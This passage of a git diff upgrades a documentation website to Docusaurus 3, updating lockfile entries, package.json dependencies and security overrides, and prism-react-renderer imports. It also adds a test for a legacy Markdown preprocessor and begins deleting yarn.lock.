"node_modules/utils-merge": { + "version": "1.0.1", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "license": "MIT", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "11.1.1", + "integrity": "sha512-vIYxrBCC/N/K+Js3qSN88go7kIfNPssr/hHCesKCQNAjmgvYS2oqr69kIufEG+O4+PfezOH4EbIeHCfFov8ZgQ==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist/esm/bin/uuid" + } + }, + "node_modules/value-equal": { + "version": "1.0.1", + "integrity": "sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw==", + "license": "MIT" + }, + "node_modules/vary": { + "version": "1.1.2", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vfile": { + "version": "6.0.3", + "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-location": { + "version": "5.0.3", + "integrity": "sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "4.0.3", + "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/watchpack": { + "version": "2.5.2", + "integrity": "sha512-6i/00NBjP4yGPs+caKSyRfpTF/8Torsu0MOW3mMzIbhgISFder8i7xbqgHlLMwJrdiN8ndBV3UA1/AfzPSr+jg==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "license": "MIT", + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/web-namespaces": { + "version": "2.0.1", + "integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/webpack": { + "version": "5.108.4", + "integrity": "sha512-yur8LyJoeiWh47dErD+Ok7vlbmDsJ3UbbRPAoxbGJ54WpE2y5yVo5G/inUzujnYgw3tPmBRdn+G7PoxXaYC33w==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.8", + "@types/json-schema": "^7.0.15", + "@webassemblyjs/ast": "^1.14.1", + "@webassemblyjs/wasm-edit": "^1.14.1", + "@webassemblyjs/wasm-parser": "^1.14.1", + "acorn": "^8.16.0", + "acorn-import-phases": "^1.0.3", + "browserslist": "^4.28.1", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.22.2", + "es-module-lexer": "^2.1.0", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "graceful-fs": "^4.2.11", + "loader-runner": "^4.3.2", + "mime-db": "^1.54.0", + "minimizer-webpack-plugin": "^5.6.1", + "neo-async": "^2.6.2", + "schema-utils": "^4.3.3", + "tapable": "^2.3.0", + "watchpack": "^2.5.2", + "webpack-sources": "^3.5.0" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-bundle-analyzer": { + "version": "4.10.2", + "integrity": "sha512-vJptkMm9pk5si4Bv922ZbKLV8UTT4zib4FPgXMhgzUny0bfDDkLXAVQs3ly3fS4/TN9ROFtb0NFrm04UXFE/Vw==", + "license": "MIT", + "dependencies": { + "@discoveryjs/json-ext": "0.5.7", + "acorn": "^8.0.4", + "acorn-walk": "^8.0.0", + "commander": "^7.2.0", + "debounce": "^1.2.1", + "escape-string-regexp": "^4.0.0", + "gzip-size": "^6.0.0", + "html-escaper": "^2.0.2", + "opener": "^1.5.2", + "picocolors": "^1.0.0", + "sirv": "^2.0.3", + "ws": "^7.3.1" + }, + "bin": { + "webpack-bundle-analyzer": "lib/bin/analyzer.js" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/webpack-bundle-analyzer/node_modules/commander": { + "version": "7.2.0", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/webpack-dev-middleware": { + "version": "7.4.5", + "integrity": "sha512-uxQ6YqGdE4hgDKNf7hUiPXOdtkXvBJXrfEGYSx7P7LC8hnUYGK70X6xQXUvXeNyBDDcsiQXpG2m3G9vxowaEuA==", + "license": "MIT", + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^4.43.1", + "mime-types": "^3.0.1", + "on-finished": "^2.4.1", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 18.12.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "webpack": { + "optional": true + } + } + }, + "node_modules/webpack-dev-middleware/node_modules/mime-db": { + "version": "1.54.0", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/webpack-dev-middleware/node_modules/mime-types": { + "version": "3.0.2", + "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", + "license": "MIT", + "dependencies": { + "mime-db": "^1.54.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/webpack-dev-middleware/node_modules/range-parser": { + "version": "1.3.0", + "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/webpack-dev-server": { + "version": "5.2.6", + "integrity": "sha512-HNLRmamRvVavZQ+avceZifmv8hmdUjg43t6MI4SqJDwFdW7RPQwH5vzGhDRZSX59SgfbeHhLnq3g+uooWo7pVw==", + "license": "MIT", + "dependencies": { + "@types/bonjour": "^3.5.13", + "@types/connect-history-api-fallback": "^1.5.4", + "@types/express": "^4.17.25", + "@types/express-serve-static-core": "^4.17.21", + "@types/serve-index": "^1.9.4", + "@types/serve-static": "^1.15.5", + "@types/sockjs": "^0.3.36", + "@types/ws": "^8.5.10", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.2.1", + "chokidar": "^3.6.0", + "colorette": "^2.0.10", + "compression": "^1.8.1", + "connect-history-api-fallback": "^2.0.0", + "express": "^4.22.1", + "graceful-fs": "^4.2.6", + "http-proxy-middleware": "^2.0.9", + "ipaddr.js": "^2.1.0", + "launch-editor": "^2.14.1", + "open": "^10.0.3", + "p-retry": "^6.2.0", + "schema-utils": "^4.2.0", + "selfsigned": "^5.5.0", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^7.4.2", + "ws": "^8.18.0" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 18.12.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "webpack": { + "optional": true + }, + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/define-lazy-prop": { + "version": "3.0.0", + "integrity": "sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/webpack-dev-server/node_modules/open": { + "version": "10.2.0", + "integrity": "sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==", + "license": "MIT", + "dependencies": { + "default-browser": "^5.2.1", + "define-lazy-prop": "^3.0.0", + "is-inside-container": "^1.0.0", + "wsl-utils": "^0.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/webpack-dev-server/node_modules/ws": { + "version": "8.21.1", + "integrity": "sha512-+0NTnW77fFN/DjQi6k/Sq/Yvk4Sgajw7urW8V+asjXnRgDs9gyGkdb7EzgfhA4goXsRIZKE28fzIXBHEzhuiWw==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/webpack-merge": { + "version": "6.0.1", + "integrity": "sha512-hXXvrjtx2PLYx4qruKl+kyRSLc52V+cCvMxRjmKwoA+CBbbF5GfIBtR6kCvl0fYGqTUPKB+1ktVmTHqMOzgCBg==", + "license": "MIT", + "dependencies": { + "clone-deep": "^4.0.1", + "flat": "^5.0.2", + "wildcard": "^2.0.1" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.5.1", + "integrity": "sha512-jyuiGJdtvY434z5bUZrjz67v76/ePNvFZTp9Mdz29IlH4+GPsgyGjiv0fKI+M7BdkU6ADjulUcKAd3tUK3WlEw==", + "license": "MIT", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/mime-db": { + "version": "1.54.0", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/webpackbar": { + "version": "7.0.0", + "integrity": "sha512-aS9soqSO2iCHgqHoCrj4LbfGQUboDCYJPSFOAchEK+9psIjNrfSWW4Y0YEz67MKURNvMmfo0ycOg9d/+OOf9/Q==", + "license": "MIT", + "dependencies": { + "ansis": "^3.2.0", + "consola": "^3.2.3", + "pretty-time": "^1.1.0", + "std-env": "^3.7.0" + }, + "engines": { + "node": ">=14.21.3" + }, + "peerDependencies": { + "@rspack/core": "*", + "webpack": "3 || 4 || 5" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/websocket-driver": { + "version": "0.7.5", + "integrity": "sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA==", + "license": "Apache-2.0", + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "license": "Apache-2.0", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/which": { + "version": "2.0.2", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/widest-line": { + "version": "4.0.1", + "integrity": "sha512-o0cyEG0e8GPzT4iGHphIOh0cJOV8fivsXxddQasHPHfoZf1ZexrfeA21w2NaEN1RHE+fXlfISmOE8R9N3u3Qig==", + "license": "MIT", + "dependencies": { + "string-width": "^5.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/wildcard": { + "version": "2.0.1", + "integrity": "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==", + "license": "MIT" + }, + "node_modules/wrap-ansi": { + "version": "8.1.0", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "6.2.2", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.3", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "7.2.0", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/write-file-atomic": { + "version": "3.0.3", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/ws": { + "version": "7.5.11", + "integrity": "sha512-zS54Oen9bITtp7kp2XM3AydrCIq1D+HwJOuH+c+e4LfpL/lotP5osijd+UoMnxwAam1GN8R4KtLAyIrIcBNpiA==", + "license": "MIT", + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/wsl-utils": { + "version": "0.1.0", + "integrity": "sha512-h3Fbisa2nKGPxCpm89Hk33lBLsnaGBvctQopaBSOW/uIs6FTe1ATyAnKFJrzVs9vpGdsTe73WF3V4lIsk4Gacw==", + "license": "MIT", + "dependencies": { + "is-wsl": "^3.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/wsl-utils/node_modules/is-wsl": { + "version": "3.1.1", + "integrity": "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw==", + "license": "MIT", + "dependencies": { + "is-inside-container": "^1.0.0" + }, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/xdg-basedir": { + "version": "5.1.0", + "integrity": "sha512-GCPAHLvrIH13+c0SuacwvRYj2SxJXQ4kaVTT5xgL3kPrz56XxkF21IGhjSE1+W0aw7gpBWRGXLCPnPby6lSpmQ==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/xml-js": { + "version": "1.6.11", + "integrity": "sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==", + "license": "MIT", + "dependencies": { + "sax": "^1.2.4" + }, + "bin": { + "xml-js": "bin/cli.js" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "license": "ISC" + }, + "node_modules/yocto-queue": { + "version": "1.2.2", + "integrity": "sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ==", + "license": "MIT", + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zwitch": { + "version": "2.0.4", + "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + } + } +} diff --git a/website/package.json b/website/package.json index a51cbfe2096..4147b10186f 100644 --- a/website/package.json +++ b/website/package.json @@ -3,52 +3,50 @@ "version": "0.0.0", "private": true, "engines": { - "node": ">=12.13.0" + "node": ">=24.0" }, "scripts": { + "test": "node --test", "start": "docusaurus start", "build": "docusaurus build", "swizzle": "docusaurus swizzle", "deploy": "docusaurus deploy", "clear": "docusaurus clear", - "serve": "docusaurus serve", - "audit:fix": "npx yarn-audit-fix" + "serve": "docusaurus serve" }, "dependencies": { - "@docusaurus/core": "^2.4.1", - "@docusaurus/plugin-client-redirects": "^2.4.1", - "@docusaurus/preset-classic": "^2.4.1", - "@docusaurus/theme-classic": "^2.4.1", - "@docusaurus/theme-search-algolia": "^2.4.1", - "ansi-html-community": "^0.0.8", - "caniuse-lite": "^1.0.30001667", - "classnames": "^2.3.2", - "glob-parent": "^6.0.1", - "got": "^11.8.5", - "hast-util-is-element": "1.1.0", - "loader-utils": "^3.2.1", - "node": "^16.18.1", - "react": "^16.8.4", - "react-dom": "^16.8.4", - "react-player": "^2.11.0", - "reading-time": "^1.2.0", - "rehype-katex": "4", - "remark-math": "3", - "trim": "^0.0.3" + "@docusaurus/core": "3.10.2", + "@docusaurus/plugin-client-redirects": "3.10.2", + "@docusaurus/preset-classic": "3.10.2", + "@docusaurus/theme-classic": "3.10.2", + "@docusaurus/theme-search-algolia": "3.10.2", + "@mdx-js/react": "^3.1.1", + "classnames": "^2.5.1", + "clsx": "^2.1.1", + "copy-text-to-clipboard": "^3.2.0", + "prism-react-renderer": "^2.4.1", + "react": "^18.3.1", + "react-dom": "^18.3.1", + "react-player": "^2.16.1", + "rehype-katex": "^7.0.1", + "remark-math": "^6.0.0" }, - "resolutions": { - "@docusaurus/core/**/set-value": "^4.0.1", - "@docusaurus/**/trim": "^0.0.3", - "@docusaurus/**/glob-parent": "^5.1.2", - "@docusaurus/**/ansi-html-community": "^0.0.8", - "@docusaurus/**/immer": "^9.0.6", - "@docusaurus/**/browserslist": "^4.16.5", - "@docusaurus/**/nth-check": "^2.0.1", - "yarn-audit-fix/**/ansi-regex": "^5.0.1", - "@docusaurus/**/ansi-regex": "^5.0.1", - "node-fetch": "^2.6.7", - "minimatch": "^3.0.5", - "got": "^11.8.5" + "overrides": { + "ajv@<6.14.0": "6.14.0", + "ajv@>=7.0.0-alpha.0 <8.18.0": "8.20.0", + "brace-expansion@<1.1.16": "1.1.16", + "cross-spawn@>=7.0.0 <7.0.5": "7.0.6", + "fast-uri@<3.1.4": "3.1.4", + "follow-redirects@<=1.15.11": "1.16.0", + "js-yaml@>=4.0.0 <4.3.0": "4.3.0", + "lodash@<=4.17.23": "4.18.1", + "micromatch@<4.0.8": "4.0.8", + "path-to-regexp@>=0.2.0 <1.9.0": "1.9.0", + "serialize-javascript": "7.0.7", + "shell-quote@<1.10.0": "1.10.0", + "uuid@<11.1.1": "11.1.1", + "websocket-driver@<0.7.5": "0.7.5", + "ws@>=7.0.0 <7.5.11": "7.5.11" }, "browserslist": { "production": [ diff --git a/website/src/pages/index.js b/website/src/pages/index.js index 2af1bd23338..34088391cd0 100644 --- a/website/src/pages/index.js +++ b/website/src/pages/index.js @@ -15,7 +15,7 @@ const snippets = [ { label: "Cognitive Services", further: - "docs/Explore%20Algorithms/AI%20Services/Overview#text-analytics-sample", + "docs/Explore%20Algorithms/AI%20Services/Overview#perform-sentiment-analysis-on-text", config: `from synapse.ml.cognitive import * sentiment_df = (TextSentiment() diff --git a/website/src/theme/CodeSnippet/index.js b/website/src/theme/CodeSnippet/index.js index 28dc09fcdd1..96b704e1752 100644 --- a/website/src/theme/CodeSnippet/index.js +++ b/website/src/theme/CodeSnippet/index.js @@ -4,7 +4,7 @@ import styles from './styles.module.css'; import useDocusaurusContext from '@docusaurus/useDocusaurusContext'; import {useColorMode} from '@docusaurus/theme-common'; -import Highlight, { defaultProps } from "prism-react-renderer"; +import {Highlight} from "prism-react-renderer"; import monokai from "@site/src/plugins/prism_themes/monokai"; @@ -38,13 +38,13 @@ function CodeSnippet(props) { } = props; return ( - + {({ className, style, tokens, getLineProps, getTokenProps }) => (
           {tokens.map((line, i) => (
-            
+
{line.map((token, key) => ( - + ))}
))} diff --git a/website/src/theme/SampleSnippet/index.js b/website/src/theme/SampleSnippet/index.js index 7949f248aa2..425df513f7d 100644 --- a/website/src/theme/SampleSnippet/index.js +++ b/website/src/theme/SampleSnippet/index.js @@ -1,6 +1,6 @@ import React, { useEffect, useState, useRef } from "react"; import clsx from "clsx"; -import Highlight, { defaultProps } from "prism-react-renderer"; +import {Highlight} from "prism-react-renderer"; import copy from "copy-text-to-clipboard"; import {useColorMode} from '@docusaurus/theme-common'; import Translate, { translate } from "@docusaurus/Translate"; @@ -31,7 +31,7 @@ function SampleSnippet(props) { setMounted(true); }, []); - const {isDarkTheme} = useColorMode();; + const {isDarkTheme} = useColorMode(); const lightModeTheme = prism.theme || monokai; const darkModeTheme = prism.darkTheme || lightModeTheme; const prismTheme = isDarkTheme ? darkModeTheme : lightModeTheme; @@ -50,7 +50,6 @@ function SampleSnippet(props) { return (
               {tokens.map((line, i) => (
-                
+
{line.map((token, key) => ( - + ))}
))} diff --git a/website/test/legacyMarkdownPreprocessor.test.js b/website/test/legacyMarkdownPreprocessor.test.js new file mode 100644 index 00000000000..e1fa0502736 --- /dev/null +++ b/website/test/legacyMarkdownPreprocessor.test.js @@ -0,0 +1,47 @@ +const assert = require('node:assert/strict'); +const test = require('node:test'); + +const preprocessLegacyMarkdown = require('../legacyMarkdownPreprocessor'); + +test('normalizes legacy MDX constructs outside code fences', () => { + const input = [ + 'Visit .', + 'Replace before continuing.', + ' setx /M DOTNET_WORKER_DIR ', + ' ', + '{"name": "capital-gain", "numSplits": 20}', + '| text | {"name": "English", "confidenceScore": 0.99} |', + 'Explain {number features to explain} columns.', + '[Slicing](#slicing)', + '[Setup](#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch)', + ].join('\n'); + + assert.equal( + preprocessLegacyMarkdown({fileContent: input}), + [ + 'Visit [http://localhost:8888/](http://localhost:8888/).', + 'Replace `PATH-DOTNET_WORKER_DIR` before continuing.', + ' setx /M DOTNET_WORKER_DIR PATH-DOTNET-WORKER-DIR', + ' // train classifier', + '`{"name": "capital-gain", "numSplits": 20}`', + '| text | `{"name": "English", "confidenceScore": 0.99}` |', + 'Explain `{number features to explain}` columns.', + '[Slicing](#model-slicing)', + '[Setup](#environment-setup-on-databricks)', + ].join('\n'), + ); +}); + +test('does not alter fenced code blocks', () => { + const input = [ + '```python', + '{"name": "capital-gain", "numSplits": 20}', + '', + '```', + '~~~bash', + 'export DOTNET_WORKER_DIR=', + '~~~', + ].join('\n'); + + assert.equal(preprocessLegacyMarkdown({fileContent: input}), input); +}); diff --git a/website/yarn.lock b/website/yarn.lock deleted file mode 100644 index f6671ee00e8..00000000000 --- a/website/yarn.lock +++ /dev/null @@ -1,8410 +0,0 @@ -# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. -# yarn lockfile v1 - - -"@algolia/autocomplete-core@1.7.2": - version "1.7.2" - resolved "https://registry.yarnpkg.com/@algolia/autocomplete-core/-/autocomplete-core-1.7.2.tgz#8abbed88082f611997538760dffcb43b33b1fd1d" - integrity sha512-eclwUDC6qfApNnEfu1uWcL/rudQsn59tjEoUYZYE2JSXZrHLRjBUGMxiCoknobU2Pva8ejb0eRxpIYDtVVqdsw== - dependencies: - "@algolia/autocomplete-shared" "1.7.2" - -"@algolia/autocomplete-preset-algolia@1.7.2": - version "1.7.2" - resolved "https://registry.yarnpkg.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.7.2.tgz#9cd4f64b3d64399657ee2dc2b7e0a939e0713a26" - integrity sha512-+RYEG6B0QiGGfRb2G3MtPfyrl0dALF3cQNTWBzBX6p5o01vCCGTTinAm2UKG3tfc2CnOMAtnPLkzNZyJUpnVJw== - dependencies: - "@algolia/autocomplete-shared" "1.7.2" - -"@algolia/autocomplete-shared@1.7.2": - version "1.7.2" - resolved "https://registry.yarnpkg.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.7.2.tgz#daa23280e78d3b42ae9564d12470ae034db51a89" - integrity sha512-QCckjiC7xXHIUaIL3ektBtjJ0w7tTA3iqKcAE/Hjn1lZ5omp7i3Y4e09rAr9ZybqirL7AbxCLLq0Ra5DDPKeug== - -"@algolia/cache-browser-local-storage@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.14.0.tgz#b13ad96055d691d25df1ebea8fc7b36b0f80b173" - integrity sha512-vSX0uPTgTuWdKOv0DbjFBl5AGlWDzYADtv5ChLBBKHTBhAKp4f9b38zDB0v89pCbcoAGZjtb6UTM+pUEVSTuSw== - dependencies: - "@algolia/cache-common" "4.14.0" - -"@algolia/cache-browser-local-storage@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.14.2.tgz#d5b1b90130ca87c6321de876e167df9ec6524936" - integrity sha512-FRweBkK/ywO+GKYfAWbrepewQsPTIEirhi1BdykX9mxvBPtGNKccYAxvGdDCumU1jL4r3cayio4psfzKMejBlA== - dependencies: - "@algolia/cache-common" "4.14.2" - -"@algolia/cache-common@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/cache-common/-/cache-common-4.14.0.tgz#a31250b02357cc11787b1138f02770fc0dfce43e" - integrity sha512-9bCWX78td6DEtyVIJc2R8MokniFFgbS5r9ADVvBuBeDtVuNhOwDO/MYZ2WlAQJTwos9TtS9v0iJ9Ym0rDHMldA== - -"@algolia/cache-common@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/cache-common/-/cache-common-4.14.2.tgz#b946b6103c922f0c06006fb6929163ed2c67d598" - integrity sha512-SbvAlG9VqNanCErr44q6lEKD2qoK4XtFNx9Qn8FK26ePCI8I9yU7pYB+eM/cZdS9SzQCRJBbHUumVr4bsQ4uxg== - -"@algolia/cache-in-memory@4.14.0": - version "4.14.0" - resolved 